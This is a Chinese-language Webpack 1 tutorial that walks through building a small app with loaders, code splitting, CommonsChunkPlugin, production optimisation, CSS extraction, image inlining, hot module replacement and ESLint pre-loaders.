让我们一起来建一个小型 app 吧 为了让你更好地理解 Webpack 的好处,我们将构建一个非常小的 app,并打包所有静态资源。在这个教程中,我建议你运行 Node 4 (或者 5) 和 NPM3,因为平行依赖树会避免 Webpack 的一些坑。如果你还没安装 NPM 3,可以通过 `npm install npm@3 -g` 安装。 $ node --version v5.7.1 $ npm --version 3.6.0 我建议你把 `node_modules/.bin` 添加到环境变量,以避免每次输入 `node_modules/.bin/webpack` 。在下面我运行的命令中,我将不会把 `node_modules/.bin` 部分写出了。 ### 基本引导 让我们开始创建工程和安装 Webpack。我们引入 jQuery 来演示之后的一些功能。 $ npm init -y $ npm install jquery --save $ npm install webpack --save-dev 现在让我们创建 app 的入口文件,我们现在使用 ES5 语法: **src/index.js** var $ = require('jquery'); $('body').html('Hello'); 然后创建 Webpack 配置文件,配置在 `webpack.config.js` 文件中,语法也是 Javascript ,并且需要输出一个对象。 **webpack.config.js** module.exports = { entry: './src', output: { path: 'builds', filename: 'bundle.js', }, }; 在这里,`entry` 告诉 Webpack 哪些文件是你的应用的入口点。那些文件都是你的主要文件,并且在依赖树的顶层。然后指明了输出的打包文件位于 `builds` 目录的 `bundle.js` 文件中。接下来让我们相应地创建首页的 HTML 文件。 ```HTML

            My title

            Click me ``` 现在运行 Webpack,如果所有步骤都没有出错,我们会得到一下信息,告诉我们 `bundle.js` 已经编译好了。 $ webpack Hash: d41fc61f5b9d72c13744 Version: webpack 1.12.14 Time: 301ms Asset Size Chunks Chunk Names bundle.js 268 kB 0 [emitted] main [0] ./src/index.js 53 bytes {0} [built] + 1 hidden modules 这里你可以看到 Webpack 告诉你,`bundle.js` 包含了我们的入口点 (`index.js`) 和一个隐藏的模块,也就是 jQuery。默认情况下,Webpack 不会显示那些不是你的模块,想要看见 Webpack 编译好的所有模块,可以加上 `--display-modules` 选项: $ webpack --display-modules bundle.js 268 kB 0 [emitted] main [0] ./src/index.js 53 bytes {0} [built] [1] ./~/jquery/dist/jquery.js 259 kB {0} [built] 你还可以运行 `webpack --watch` ,使 webpack 自动监听你的文件改变,按需重新编译。 ### 设置我们的第一个 loader 还记得我们提到 Webpack 是如何输入 CSS、HTML 和其他内容的吗?他们适合在哪些地方?如果你在关注最近几年 Web Components 的巨大变化 (Angular 2, Vue, React, Polymer, X-Tag 等),你可能会听说过这种思路 —— 使用一套可重用、相互独立的 UI 组件,称为 web components(我在这里不做详述,读者明白意思就好),代替一套完整的、相互连接的 UI。现在,为了让组件真正地相互独立开,必须在组件内部打包其所有的依赖。 现在开始写我们的按钮:首先,我猜你们大部分人现在更习惯使用 ES2015,因此我们先添加第一个 loader: Babel。要在 Webpack 安装 loader,需要两个步骤:输入命令 `npm install {whatever}-loader`,并在配置文件的 `module.loaders` 部分添加信息,如下所示,先安装 Babel: $ npm install babel-loader --save-dev 注意 babel loader 并不会自动安装 babel,所以我们还需要安装 Babel 本身的 `babel-core` 包,以及我们需要的 `es2015` preset: $ npm install babel-core babel-preset-es2015 --save-dev 现在我们要创建一个 `.babelrc` 文件,告诉 Babel 使用哪个 preset。这是一个简单的 JSON 文件,允许你配置 Babel 使用哪些转换器来转换你的代码 —— 在我们的例子里使用的就是 `es2015` preset。 **.babelrc** `{ "presets": ["es2015"] }` 现在 Babel 已经安装配置好,我们可以修改 Webpack 配置了:我们想要 Babel 作用在所有 `.js` 文件里,**但是** 因为 Webpack 会遍历所有依赖,我们要避免 Babel 作用在 jQuery 这些第三方库。因此,我们可以加上过滤规则。Loaders 可以同时包含 `include` 或者 `exclude` 规则,它们的值可以是字符串、正则表达式、回调函数或者其它你想要的东西。在我们的例子中,我们想要 Babel 只作用在我们自己写的文件里,所以加上 `include` 规则,让它只作用在我们的源代码目录里。 module.exports = { entry: './src', output: { path: 'builds', filename: 'bundle.js', }, module: { loaders: [ { test: /\.js/, loader: 'babel', include: __dirname + '/src', } ], } }; 由于引入了 Babel,现在我们可以用 ES6 重写 `index.js` 了,从现在开始我们都使用 ES6 语法。 import $ from 'jquery'; $('body').html('Hello'); ### 写一个小组件 我们现在来写一个小的按钮组件,它包含某些 SCSS 样式,一个 HTML 模板和一些行为。现在先安装依赖,我们使用 Mustache,它是一个轻量级的模板包,但我们还需要 Sass 和 HTML 文件的 loaders。由于结果是从一个 loader 向另一个 loader 管道式传递的,我们还需要 CSS loader 来处理 Sass loader 的输出结果。现在我们有了 CSS 资源,可以通过多种方式来处理它们,目前,我们会使用一个 `style-loader` ,它可以读取 CSS 文件,动态注入到页面中。 $ npm install mustache --save $ npm install css-loader style-loader html-loader sass-loader node-sass --save-dev 现在,为了告诉 Webpack 从一个 loader 向另一个 loader 管道式地传送文件,我们从右到左把 loader 串联起来,中间通过 `!` 分隔。或者你也可以使用一个数组作为值,然后用 `loaders` 属性代替 `loader`。 { test: /\.js/, loader: 'babel', include: __dirname + '/src', }, { test: /\.scss/, loader: 'style!css!sass', // 或者 loaders: ['style', 'css', 'sass'], }, { test: /\.html/, loader: 'html', } 现在我们已经把 loader 放在合适位置了,是时候开始写我们的按钮了: **src/Components/Button.scss** .button { background: tomato; color: white; } **src/Components/Button.html** class="button" href="{{link}}">{{text}} **src/Components/Button.js** import $ from 'jquery'; import template from './Button.html'; import Mustache from 'mustache'; import './Button.scss'; export default class Button { constructor(link) { this.link = link; } onClick(event) { event.preventDefault(); alert(this.link); } render(node) { const text = $(node).text(); // 渲染按钮 $(node).html( Mustache.render(template, {text}) ); // 绑定事件 $('.button').click(this.onClick.bind(this)); } } 你的 `Button.js` 现在是 100% 完全独立的,不管在何时引入和怎样的上下文中运行,它都能运用手上所有工具正确地调用和渲染。现在,我们只需要在页面中渲染我们的按钮就可以了(虽然这种写法很不优雅)。 **src/index.js** ```js import Button from './Components/Button'; const button = new Button('google.com'); button.render('a'); ``` 现在运行 Webpack 然后刷新页面,你应该能看到页面中出现了一个丑丑的按钮了。 ![](http://i.imgur.com/8Ov1x2P.png) 现在你学会了如何设置 loaders 以及如何定义 app 中每个部分的依赖关系。虽然现在看起来还没多大用途,但是我们将继续改进代码。 ### 代码分离 上述的例子虽好,但是有时候我们不需要用到按钮,可能某些页面里不存在 `a` 标签让按钮放在那儿,在这种情况下,我们可不想引入所有的按钮样式、模板、Mustache 等各种东西,对吧?这时候代码分离就起作用了。代码分离,正是 Webpack 对于 “整个模块” 和 “不可维护的手动引入” 给出的答案。其思路就是可以在代码中定义“分离点”:这部分代码将被分离成一个独立的文件,按需加载。其语法非常简单: import $ from 'jquery'; // 这里就是分离点 require.ensure([], () => { // 把所有代码和需要引入的内容放在这里 // 这里的代码最终会分离到一个独立的文件中 const library = require('some-big-library'); $('foo').click(() => library.doSomething()); }); `require.ensure` 回调函数里面的所有内容,会被分离成一个_数据块(chunk)_ —— Webpack 只有在页面需要时,才会通过 AJAX 按需加载这部分内容。这意味着我们的代码结构变成了这样: bundle.js |- jquery.js |- index.js // 主文件 chunk1.js |- some-big-libray.js |- index-chunk.js // Callback 里的代码 你不需要在任何地方引入或者加载 `chunk1.js` 文件,Webpack 会在页面真正需要这部分代码时按需加载。这意味着你可以把许多不同的代码逻辑包裹成不同的块,在我们的例子中,我们想要的是在页面包含 a 标签时才引入 Button 的代码: **src/index.js** if (document.querySelectorAll('a').length) { require.ensure([], () => { const Button = require('./Components/Button').default; const button = new Button('google.com'); button.render('a'); }); } 要注意的是,使用 `require` 时,如果你想要默认 export,你需要手动包裹在 `.default` 里,因为 `require` 不会同时处理默认 export 和其它的 export,你需要指定 return 哪些内容。然而 `import` 对此有一个系统,它可以处理得很好(比如 `import foo from 'bar'` 和 `import {baz} from 'bar'`)。 Webpack 的输出现在应该发生了相应的变化,我们可以在命令加上 `--display-chunks` 参数,看看哪些模块在哪个 chunk 里面: $ webpack --display-modules --display-chunks Hash: 43b51e6cec5eb6572608 Version: webpack 1.12.14 Time: 1185ms Asset Size Chunks Chunk Names bundle.js 3.82 kB 0 [emitted] main 1.bundle.js 300 kB 1 [emitted] chunk {0} bundle.js (main) 235 bytes [rendered] [0] ./src/index.js 235 bytes {0} [built] chunk {1} 1.bundle.js 290 kB {0} [rendered] [1] ./src/Components/Button.js 1.94 kB {1} [built] [2] ./~/jquery/dist/jquery.js 259 kB {1} [built] [3] ./src/Components/Button.html 72 bytes {1} [built] [4] ./~/mustache/mustache.js 19.4 kB {1} [built] [5] ./src/Components/Button.scss 1.05 kB {1} [built] [6] ./~/css-loader!./~/sass-loader!./src/Components/Button.scss 212 bytes {1} [built] [7] ./~/css-loader/lib/css-base.js 1.51 kB {1} [built] [8] ./~/style-loader/addStyles.js 7.21 kB {1} [built] 正如你看到的那样,我们的入口点 (`bundle.js`) 现在只包含了 Webpack 本身的一些逻辑,其它内容 (jQuery, Mustache, Button) 放在了 `1.bundle.js` 块中,只会在页面包含 a 标签时才会引入。现在,为了让 Webpack 知道在哪里找到这个块,然后通过 AJAX 引入,我们需要在配置文件里多加一行: path: 'builds', filename: 'bundle.js', publicPath: 'builds/', `output.publicPath` 选项告诉 Webpack 在哪里可以找到生成的静态资源,其路径相对于我们的视图页面(所以在我们的例子里是 /builds/)。如果我们打开页面,效果依然相同,但更重要的是,我们会看到页面包含 a 标签时,Webpack 才会加载我们的块。 ![](http://i.imgur.com/rPvIRiB.png) 如果页面里没有 a 标签,只会加载 `bundle.js` 文件。这种做法允许你智能地分离出一些繁重的逻辑,让它们在页面真正需要时,才按需加载进来。值得注意的是,我们可以给分离点起个名字,替换原来的 `1.bundle.js` ,使得块名更加有意义。你可以通过给 `require.ensure` 传递第三个参数来做到这点: require.ensure([], () => { const Button = require('./Components/Button').default; const button = new Button('google.com'); button.render('a'); }, 'button'); 这样生成的文件名将会是 `button.bundle.js` 而非 `1.bundle.js`。 ### 添加第二个组件 现在一切都不错,我们试着添加第二个组件: **src/Components/Header.scss** .header { font-size: 3rem; } **src/Components/Header.html** class="header">{{text}} **src/Components/Header.js** import $ from 'jquery'; import Mustache from 'mustache'; import template from './Header.html'; import './Header.scss'; export default class Header { render(node) { const text = $(node).text(); $(node).html( Mustache.render(template, {text}) ); } } 然后在应用里渲染它: // 如果有 a 标签,渲染按钮 if (document.querySelectorAll('a').length) { require.ensure([], () => { const Button = require('./Components/Button'); const button = new Button('google.com'); button.render('a'); }); } // 如果有 h1 标签,渲染页眉 if (document.querySelectorAll('h1').length) { require.ensure([], () => { const Header = require('./Components/Header'); new Header().render('h1'); }); } 现在,使用 `--display-chunks --display-modules` 参数调用 Webpack: $ webpack --display-modules --display-chunks Hash: 178b46d1d1570ff8bceb Version: webpack 1.12.14 Time: 1548ms Asset Size Chunks Chunk Names bundle.js 4.16 kB 0 [emitted] main 1.bundle.js 300 kB 1 [emitted] 2.bundle.js 299 kB 2 [emitted] chunk {0} bundle.js (main) 550 bytes [rendered] [0] ./src/index.js 550 bytes {0} [built] chunk {1} 1.bundle.js 290 kB {0} [rendered] [1] ./src/Components/Button.js 1.94 kB {1} [built] [2] ./~/jquery/dist/jquery.js 259 kB {1} {2} [built] [3] ./src/Components/Button.html 72 bytes {1} [built] [4] ./~/mustache/mustache.js 19.4 kB {1} {2} [built] [5] ./src/Components/Button.scss 1.05 kB {1} [built] [6] ./~/css-loader!./~/sass-loader!./src/Components/Button.scss 212 bytes {1} [built] [7] ./~/css-loader/lib/css-base.js 1.51 kB {1} {2} [built] [8] ./~/style-loader/addStyles.js 7.21 kB {1} {2} [built] chunk {2} 2.bundle.js 290 kB {0} [rendered] [2] ./~/jquery/dist/jquery.js 259 kB {1} {2} [built] [4] ./~/mustache/mustache.js 19.4 kB {1} {2} [built] [7] ./~/css-loader/lib/css-base.js 1.51 kB {1} {2} [built] [8] ./~/style-loader/addStyles.js 7.21 kB {1} {2} [built] [9] ./src/Components/Header.js 1.62 kB {2} [built] [10] ./src/Components/Header.html 64 bytes {2} [built] [11] ./src/Components/Header.scss 1.05 kB {2} [built] [12] ./~/css-loader!./~/sass-loader!./src/Components/Header.scss 192 bytes {2} [built] 你可能会发现一个相当重要的问题:我们的组件都依赖 jQuery 和 Mustache,这意味着这些依赖在我们的子块中重复出现了,这样的结果并不是我们想要的。默认情况下,Webpack 只会执行很少优化,但是它包含了强大的工具帮你改变这一状况,它就是_插件_。 插件和 loader 的区别在于,插件作用在所有文件,执行更多高级操作,但这些操作不一定和转换相关;而 loader 只是作用在特定集合的文件,以及作为“管道”的一部分。Webpack 提供了一系列插件进行各种不同的优化,在这个例子中,**CommonChunksPlugin** 可以解决这个问题:它可以分析子块中的共同依赖,并提取出来放到其它地方,可以放在一个完全独立的文件(比如 `vendor.js`),或者在你的主文件中。 在我们的例子里,我们打算把共同依赖放在主入口文件,因为如果所有页面都需要 jQuery 和 Mustache,我们可以把它们合起来。所以,现在我们更改一下配置文件: var webpack = require('webpack'); module.exports = { entry: './src', output: { // ... }, plugins: [ new webpack.optimize.CommonsChunkPlugin({ name: 'main', // 把依赖移动到主文件 children: true, // 寻找所有子模块的共同依赖 minChunks: 2, // 设置一个依赖被引用超过多少次就提取出来 }), ], module: { // ... } }; 如果我们再次运行 Webpack,可以看到情况已经发生了变化,这里 `main` 是默认的块的名字。 chunk {0} bundle.js (main) 287 kB [rendered] [0] ./src/index.js 550 bytes {0} [built] [2] ./~/jquery/dist/jquery.js 259 kB {0} [built] [4] ./~/mustache/mustache.js 19.4 kB {0} [built] [7] ./~/css-loader/lib/css-base.js 1.51 kB {0} [built] [8] ./~/style-loader/addStyles.js 7.21 kB {0} [built] chunk {1} 1.bundle.js 3.28 kB {0} [rendered] [1] ./src/Components/Button.js 1.94 kB {1} [built] [3] ./src/Components/Button.html 72 bytes {1} [built] [5] ./src/Components/Button.scss 1.05 kB {1} [built] [6] ./~/css-loader!./~/sass-loader!./src/Components/Button.scss 212 bytes {1} [built] chunk {2} 2.bundle.js 2.92 kB {0} [rendered] [9] ./src/Components/Header.js 1.62 kB {2} [built] [10] ./src/Components/Header.html 64 bytes {2} [built] [11] ./src/Components/Header.scss 1.05 kB {2} [built] [12] ./~/css-loader!./~/sass-loader!./src/Components/Header.scss 192 bytes {2} [built] 如果我们特别指定 `name: 'vendor'`: new webpack.optimize.CommonsChunkPlugin({ name: 'vendor', children: true, minChunks: 2, }), 由于数据块还不存在,Webpack 会创建一个 `builds/vendor.js` 文件,我们需要在 HTML 中手动引入。 ```HTML ``` 你也可以不指定块名称并加上 `async: true`,让共同的依赖异步加载。Webpack 还有很多这类型的强大智能优化的插件。我不可能把他们一一列举出来,但是作为练习,我们再来试试创建一个 _生产环境_ 版本的配置。 ### 生产环境和更多 Ok,首先我们要添加几个插件到配置文件里,但是仅当 `NODE_ENV` 的值是 `production` 的时候,才会加载它们,我们要在配置文件里添加一些逻辑,由于配置文件是 JS 语法,所以很简单: var webpack = require('webpack'); var production = process.env.NODE_ENV === 'production'; var plugins = [ new webpack.optimize.CommonsChunkPlugin({ name: 'main', // 把依赖移动到主文件 children: true, // 寻找所有子模块的共同依赖 minChunks: 2, // 设置一个依赖被引用超过多少次就提取出来 }), ]; if (production) { plugins = plugins.concat([ // Production plugins go here ]); } module.exports = { entry: './src', output: { path: 'builds', filename: 'bundle.js', publicPath: 'builds/', }, plugins: plugins, // ... }; 其次,Webpack 还有一些相关设置,我们要在生产环境里关闭掉: module.exports = { debug: !production, devtool: production ? false : 'eval', 第一个设置是关于 loader 的调试模式,如果关闭,意味着方便本地调试的那部分代码不会包含到代码中。第二个设置是关于 sourcemap 的生成,Webpack 有 [几种方法](http://webpack.github.io/docs/configuration.html#devtool) 生成 [sourcemaps](http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/),`eval` 在本地环境下是最佳选择。在生产环境中,我们不需要用到 sourcemap 所以可以把选项关掉。现在,添加我们的生产环境插件: if (production) { plugins = plugins.concat([ // 这个插件搜索相似的块与文件并合并它们 new webpack.optimize.DedupePlugin(), // 这个插件通过计算子块和模块的使用次数进行优化 new webpack.optimize.OccurenceOrderPlugin(), // 这个插件在子块文件太小时,会阻止生成,因为不值得独立加载 new webpack.optimize.MinChunkSizePlugin({ minChunkSize: 51200, // ~50kb }), // 这个插件对最终生成的 JS 代码进行 Uglify new webpack.optimize.UglifyJsPlugin({ mangle: true, compress: { warnings: false, // Suppress uglification warnings }, }), // 这个插件定义了不同变量,我们可以在生成环境关闭一些变量 // 避免调试代码被编译到我们最终的包里 new webpack.DefinePlugin({ __SERVER__: !production, __DEVELOPMENT__: !production, __DEVTOOLS__: !production, 'process.env': { BABEL_ENV: JSON.stringify(process.env.NODE_ENV), }, }), ]); } 以上是我最常使用的插件,不过 Webpack 还提供了很多其它插件,供你协调你的模块和数据块。此外,还有一部分用户贡献的插件,可以在 NPM 上找到,供你完成更多的事情。一些插件的链接可以在本文末尾找到。 现在还有另一个问题,理想情况下,我们想要静态资源带上版本号。还记得我们设置 `output.filename` 为 `bundle.js` 吗?事实上有一些选项可以用在变量里,其中一个是 `[hash]`,对应着最终打包生成的文件内容的哈希值,我们改变一下这个设置。此外,我们还想要 `output.chunkFilename` 也带上版本号: output: { path: 'builds', filename: production ? '[name]-[hash].js' : 'bundle.js', chunkFilename: '[name]-[chunkhash].js', publicPath: 'builds/', }, 在这个简单的应用里,我们不想要动态取得编译出来的包名字,我们只会在生产环境里打上版本号,比如,我们可能想要在打包生产环境代码前,清理 builds 文件夹,这时候我们要安装一个第三方插件来完成这个事情: $ npm install clean-webpack-plugin --save-dev 然后添加到配置文件中: var webpack = require('webpack'); var CleanPlugin = require('clean-webpack-plugin'); // ... if (production) { plugins = plugins.concat([ // 在编译最终的静态资源之前,清理 builds/ 文件夹 new CleanPlugin('builds'), 现在我们完成了很棒的优化了,对比看看结果: $ webpack bundle.js 314 kB 0 [emitted] main 1-21660ec268fe9de7776c.js 4.46 kB 1 [emitted] 2-fcc95abf34773e79afda.js 4.15 kB 2 [emitted] $ NODE_ENV=production webpack main-937cc23ccbf192c9edd6.js 97.2 kB 0 [emitted] main Webpack 完成了这些事情:首先,由于我们的例子非常轻量级,我们的两个异步子块不值得额外 HTTP 请求,因此 Webpack 把它们和入口模块合在一起了。其次,所有内容都被压缩了,我们从三个 HTTP 请求,共 322kb,缩减到一个 HTTP 请求,仅 97kb。 > 但是 Webpack 生成了一个庞大的 JS 文件呀? 确实如此,不过这是由于我们的 app 非常小。试想:之前你不需要过多考虑合并什么、何时在哪合并。但是如果你的子块突然要依赖更多东西,子块或许会变为异步加载而不会被合并,如果这些子块的内容相似,不值得异步加载,那还不如合并起来。用上 Webpack,你只需要设置规则,从那以后,Webpack 会自动帮助你优化应用,不需要手工劳动,也不需要考虑依赖放在哪,所有事情都变成了自动完成。 ![](http://ww2.sinaimg.cn/large/a490147fgw1f4i100zj8gg206x04kaim.gif) 你可能注意到,我没有设置压缩 HTML 和 CSS,因为 `css-loader` 和 `html-loader` 在 `debug` 为 `false` 时,默认会完成这个工作,这也是 Uglify 单独拿出来做插件的原因:Webpack 并没有 `js-loader`,因为 Webpack 本身就是处理 JS 的。 ### 提取 现在你可能会注意到,从一开始我们的样式就被动态地注入到页面里,导致页面加载完成前,样式会闪烁(Flash of Ugly Ass Page, FOUAP)。如果我们能把所有样式也打包成一个单独的 CSS 文件,不就更好吗?我们引入一个额外的插件来做这件事情: $ npm install extract-text-webpack-plugin --save-dev 这个插件的作用正如我刚才所说的,从最终的文件包里拿出某些内容,导出的别的地方,最常见的用例就是 CSS,修改一下配置: var webpack = require('webpack'); var CleanPlugin = require('clean-webpack-plugin'); var ExtractPlugin = require('extract-text-webpack-plugin'); var production = process.env.NODE_ENV === 'production'; var plugins = [ new ExtractPlugin('bundle.css'), // new webpack.optimize.CommonsChunkPlugin({ name: 'main', // 把依赖移动到主文件 children: true, // 寻找所有子模块的共同依赖 minChunks: 2, // 设置一个依赖被引用超过多少次就提取出来 }), ]; // ... module.exports = { // ... plugins: plugins, module: { loaders: [ { test: /\.scss/, loader: ExtractPlugin.extract('style', 'css!sass'), }, // ... ], } }; 现在 `extract` 方法接收两个参数:第一个我们在子块里 (`'style'`) 对提取出的内容做什么;第二个是在主文件 (`'css!sass'`) 里面对内容做什么。现在如果我们在子块里,我们不能像以前那样直接添加 CSS,需要使用 `style` loader,但对于所有主文件里的 CSS,导出到 `builds/bundle.css` 文件。让我们来试一试,在应用里添加一点主样式: **src/styles.scss** body { font-family: sans-serif; background: darken(white, 0.2); } **src/index.js** import './styles.scss'; // 文件的剩余部分 运行 Wepback,并确保在 HTML 里引入了 `bundle.css` 文件: $ webpack bundle.js 318 kB 0 [emitted] main 1-a110b2d7814eb963b0b5.js 4.43 kB 1 [emitted] 2-03eb25b4d6b52a50eb89.js 4.1 kB 2 [emitted] bundle.css 59 bytes 0 [emitted] main 如果你还想提取子块的样式,你可以传递 `ExtractTextPlugin('bundle.css', {allChunks: true})` 选项。注意你也可以在文件名使用变量,如果你想要样式表带上版本号,和 JS 文件一样,使用 `ExtractTextPlugin('[name]-[hash].css')` 选项。 ### 带上图片 现在我们能很好地处理 JS 文件了,但是我们还没涉及到具体的静态资源:图片、字体等。Webpack 是如果在上下文中处理这些资源,我们又可以做什么优化呢?让我们在网上拿一张图片,用作背景图。我在 [Geocities](https://www.google.com/search?q=Geocities&tbm=isch) 看见别人这么做了,看着挺酷: ![](http://ww1.sinaimg.cn/large/a490147fgw1f4i0mf8uwuj203k03kq2r.jpg) 把图片保存为 `img/puppy.jpg`,并对应更新 Sass 文件: **src/styles.scss** body { font-family: sans-serif; background: darken(white, 0.2); background-image: url('../img/puppy.jpg'); background-size: cover; } 现在如果你这么做,Webpack 会义正言辞地告诉你:“我压根不知道怎么处理 JPG 文件啊!”,因为没有合适的 loader 来处理它。我们有两个选择来处理这些资源: `file-loader` 和 `url-loader`:第一个会给静态资源返回一个 URL,不作其它更改,并允许你给文件加上版本号(这也是默认行为);第二个会把资源转化成 `data:image/jpeg;base64` 格式。 实际上没有绝对的对与错:如果背景是 2Mb 大小的图片,你可能不会把它内联,分开加载比较合理;如果是 2kb 的小图标文件,最好转为 base64 以节省 HTTP 请求,所以我们两个一起用: $ npm install url-loader file-loader --save-dev { test: /\.(png|gif|jpe?g|svg)$/i, loader: 'url?limit=10000', }, 这里,我们传递了一个 `limit` 参数给 `url-loader` ,告诉 Webpack:如果文件小于 10kb 则内联,否则 fallback 给 `file-loader` 作处理。这种语法称为查询字符串,你可以用来配置 loader,或者你也可以通过写一个对象来配置: { test: /\.(png|gif|jpe?g|svg)$/i, loader: 'url', query: { limit: 10000, } } 现在看看效果: bundle.js 15 kB 0 [emitted] main 1-b8256867498f4be01fd7.js 317 kB 1 [emitted] 2-e1bc215a6b91d55a09aa.js 317 kB 2 [emitted] bundle.css 2.9 kB 0 [emitted] main 我们可以看到,没有提及到 JPG 文件,因为我们的小狗图片比配置的大小要小,所以被内联了。这意味着如果我们打开页面,我们就可以看到小狗图片了。 ![](http://ww3.sinaimg.cn/large/a490147fgw1f4i0nf5qr1j20gz0n30w3.jpg) 现在我们的 Webpack 已经很强大了,因为它可以智能地优化任何具体资源,以减少 HTTP 请求的频率和流量。使用 [image-loader](https://github.com/tcoopman/image-webpack-loader) 你还可以做更多优化工作,比如构建时传递 `imagemin` 参数,它甚至还有 `?bypassOnDebug` 查询字符串,允许你在生产环境才那么做。事实上还有很多类似插件,我鼓励你看完这篇文章后,再翻一翻文件结尾的列表。 ### 实时更新 现在我们兼顾到了生产环境,把目光放回到开发环境。当提及到构建工具时,总有一个大坑需要填:实时刷新。LiveReload, BrowserSync 等,不管你喜欢用什么,等待整个页面重新刷新总是非常烦人,更好的做法是 _模块热替换(HMR,hot module replacement)_ 或者 _热刷新_。我们的想法是,由于 Webpack 清晰知道每个模块在依赖树的位置,发生更改时,只需要更换发生变化的那部分就好了。更清晰的想法是:你的更改实时反应在屏幕上,不需要刷新页面。 为了用上 HMR,我们需要一个 server 来处理资源热替换。Webpack 提供了 `dev-server` 解决这个问题,我们可以安装它: $ npm install webpack-dev-server --save-dev 现在运行 dev server,非常简单,只需一条命令: $ webpack-dev-server --inline --hot 第一个参数告诉 Webpack,把 HMR 逻辑内联到页面(而不是在 iframe 中呈现页面),第二个参数是启用 HMR。现在打开服务器地址 `http://localhost:8080/webpack-dev-server/`,再试试修改 Sass 文件,见证奇迹的时刻: ![](http://ww2.sinaimg.cn/large/a490147fgw1f4i10s9casg20i006w48b.gif) 现在你可以把 webpack-dev-server 当作本地服务器了,如果你打算一直使用 HMR,你可以在配置文件里作修改: output: { path: 'builds', filename: production ? '[name]-[hash].js' : 'bundle.js', chunkFilename: '[name]-[chunkhash].js', publicPath: 'builds/', }, devServer: { hot: true, }, 现在无论何时运行 `webpack-dev-server` 它总是在 HMR 模式中。注意我们在这里只是使用 `webpack-dev-server` 来处理热加载,但是你还可以用一些其它选项,用法就像 Express 的服务器那样。Webpack 还提供了一个中间件,使得你可以添加 HMR 功能给其它服务器。 ### 添加语法检查 如果你一直紧跟教程,你可能留意到一个奇怪的问题:为什么 loaders 是嵌套在 `module.loaders` 而插件不是呢?因为你还可以在 `module` 放入其他东西。Webpack 除了 loaders,还有 pre-loaders 和 post-loaders,也就是在主 loaders 前后执行的内容。比如:这篇文章里的代码量很大,我们在转换前,需要借助 ESLint 来检测代码: $ npm install eslint eslint-loader babel-eslint --save-dev 先创建一个 `.eslintrc` 文件,定义一个肯定不能通过的规则: **.eslintrc** parser: 'babel-eslint' rules: quotes: 2 现在添加 pre-loader,和前面的语法一样,但是放在 `module.preLoaders` 中: module: { preLoaders: [ { test: /\.js/, loader: 'eslint', } ], 现在运行 Webpack,果然构建失败了: $ webpack Hash: 33cc307122f0a9608812 Version: webpack 1.12.2 Time: 1307ms Asset Size Chunks Chunk Names bundle.js 305 kB 0 [emitted] main 1-551ae2634fda70fd8502.js 4.5 kB 1 [emitted] 2-999713ac2cd9c7cf079b.js 4.17 kB 2 [emitted] bundle.css 59 bytes 0 [emitted] main + 15 hidden modules ERROR in ./src/index.js /Users/anahkiasen/Sites/webpack/src/index.js 1:8 error Strings must use doublequote quotes 4:31 error Strings must use doublequote quotes 6:32 error Strings must use doublequote quotes 7:35 error Strings must use doublequote quotes 9:23 error Strings must use doublequote quotes 14:31 error Strings must use doublequote quotes 16:32 error Strings must use doublequote quotes 18:29 error Strings must use doublequote quotes 再举一个 pre-loader 的例子:对于每个组件,我们都输入和组件名字相同的样式表以及模板,使用一个 pre-loader 可以自动地帮我完成这个工作: $ npm install baggage-loader --save-dev { test: /\.js/, loader: 'baggage?[file].html=template&[file].scss', } 这个配置告诉 Webpack:如果遇到一个同名的 HTML 文件和 Sass 文件,作为模板和样式引入进来,现在可以把组件代码从: import $ from 'jquery'; import template from './Button.html'; import Mustache from 'mustache'; import './Button.scss'; 改为: import $ from 'jquery'; import Mustache from 'mustache'; 正如你看到的那样,pre-loaders 非常强大,而 post-loaders 也一样。在文章最后的列表中搜索一下,相信你会找到许多 post-loaders 的适用场景。 ### 还想知道更多? 现在我们的应用还很轻量,但是一旦应用变得更加复杂,我们可能需要观察依赖树的情况,以便分析有什么做得好的和不合理的,以及应用的瓶颈等。Webpack 内部对此很了解,因此我们可以向 Webpack 了解更多,通过以下命令生成一个 _描述文件(profile file)_ : webpack --profile --json > stats.json 第一个参数告诉 Webpack 生成配置文件,第二个参数是生成 JSON 格式,最终把所有内容输出到一个 JSON 文件中。现在有多个网站可以解析 profile 文件,Webpack 也有官方网站来分析信息。打开 [Webpack Analyze](http://webpack.github.io/analyse/) 并上传你的 JSON 文件,在 **Modules** 标签页,你可以看到依赖树的可视化结果: ![](http://ww2.sinaimg.cn/large/a490147fjw1f4i0piefhaj20or0kvmyk.jpg) 点的颜色越红,说明问题越大。这里把 jQuery 标红,因为它是我们所有模块中最重的。顺便看看其它标签页,你可能不会在我们的小应用里看到什么有价值的信息,但是这个工具对于了解依赖树和最终的包内容是非常重要的。现在正如我说的那样,其它网站服务也提供类似功能,比如我喜欢的是 [Webpack Visualizer](http://chrisbateman.github.io/webpack-visualizer/),提供了环形图来显示你的包里面什么东西最占空间,在我们的例子里当然是 jQuery 了: ![](http://ww4.sinaimg.cn/large/a490147fjw1f4i0pxgo3bj20lo0knmzm.jpg) ## 总结 在我的案例里面,Webpack 完全替代了 Grunt / Gulp:它们的大部分功能被 Webpack 取代,剩下的部分我只需要用 NPM scripts 来处理。比如我们想要使用 Aglio,把 API 文档转换为 HTML,只需要这么写: **package.json** {"scripts":{"build":"webpack","build:api":"aglio -i docs/api/index.apib -o docs/api/index.html"}} 但是,如果你在 Gulp 里面调用了更加复杂的任务,和打包或者静态资源无关,Webpack 对于其他构建系统也兼容,比如下面这个例子把 Gulp 整合到 Webpack 里: var gulp = require('gulp'); var gutil = require('gutil'); var webpack = require('webpack'); var config = require('./webpack.config'); gulp.task('default', function(callback) { webpack(config, function(error, stats) { if (error) throw new gutil.PluginError('webpack', error); gutil.log('[webpack]', stats.toString()); callback(); }); }); 就这么简单,由于 Webpack 还有 Node API,所以可以用在其它构建系统中,无论是哪种情况,你都可以找到一种包裹方式挂载它。 总而言之,我认为这篇文章可以帮你概览 Webpack 能帮你做什么事情。你可能会觉得我在本文里提及了很多内容,但是我们还只是讲了一点皮毛:多入口点、预加载、上下文替换等还没提及呢。Webpack 很好很强大,所以比起其它构建工具的配置显得成本更高,但是我并不会因此而拒绝它。一旦你领悟了它,会给你带来很多好处。我在好几个项目里用上了 Webpack,它提供了强大的优化能力和自动处理能力,老实说我已经不能想象怎么回到那个手动解决静态资源问题的时代了。 ## 相关资源 * [Webpack 官方文档](https://webpack.github.io/) * [Loaders 列表](http://webpack.github.io/docs/list-of-loaders.html) * [Plugins 列表](http://webpack.github.io/docs/list-of-plugins.html) * [本文的源代码](https://github.com/madewithlove/webpack-article/commits/master) * [本文的 Webpack 